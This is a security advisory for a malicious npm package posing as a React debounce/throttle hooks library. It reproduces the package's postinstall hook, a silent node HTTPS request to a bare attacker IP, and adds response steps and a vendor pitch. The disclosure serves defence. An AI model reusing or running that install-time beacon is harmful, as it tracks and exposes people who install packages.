react-hook-use-debounce-throttle-12npm
Advisory published Updated
react-hook-use-debounce-throttle-12 is a confirmed malicious npm package (MAL-2026-5909) that opens a backdoor for remote access (malicious versions 1.0.0, 1.0.1, 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in react-hook-use-debounce-throttle-12 (npm)
What this malware does
package.json declares a postinstall hook that runs node -e to issue an HTTPS request to the bare IP 8.140.205.78 on port 80 with all errors silently swallowed: require('https').request({hostname:'8.140.205.78',port:80,path:'/',method:'GET',timeout:3000}).on('error',function(){}).end(). The package advertises itself as a React debounce/throttle hooks library and has no legitimate need for network activity at install time. The destination is a bare IPv4 address with no TLS, no publisher correlation, and no documented purpose; the request fires unconditionally on every npm install, leaking the installer's IP, install timing, and machine footprint to the operator of that host. Author metadata is a generic placeholder (dev-utils <[email protected]>) with a repository URL that does not resolve to a real project, and the package name carries a numeric suffix consistent with disposable republishes. The combination of an install-time beacon to attacker-controlled infrastructure, mismatched purpose, silent error handling, and placeholder publisher identity is a victim-enumeration/install-tracking attack.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for react-hook-use-debounce-throttle-12 (3 malicious versions).
If you installed it — respond
react-hook-use-debounce-throttle-12 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If react-hook-use-debounce-throttle-12 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks react-hook-use-debounce-throttle-12-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.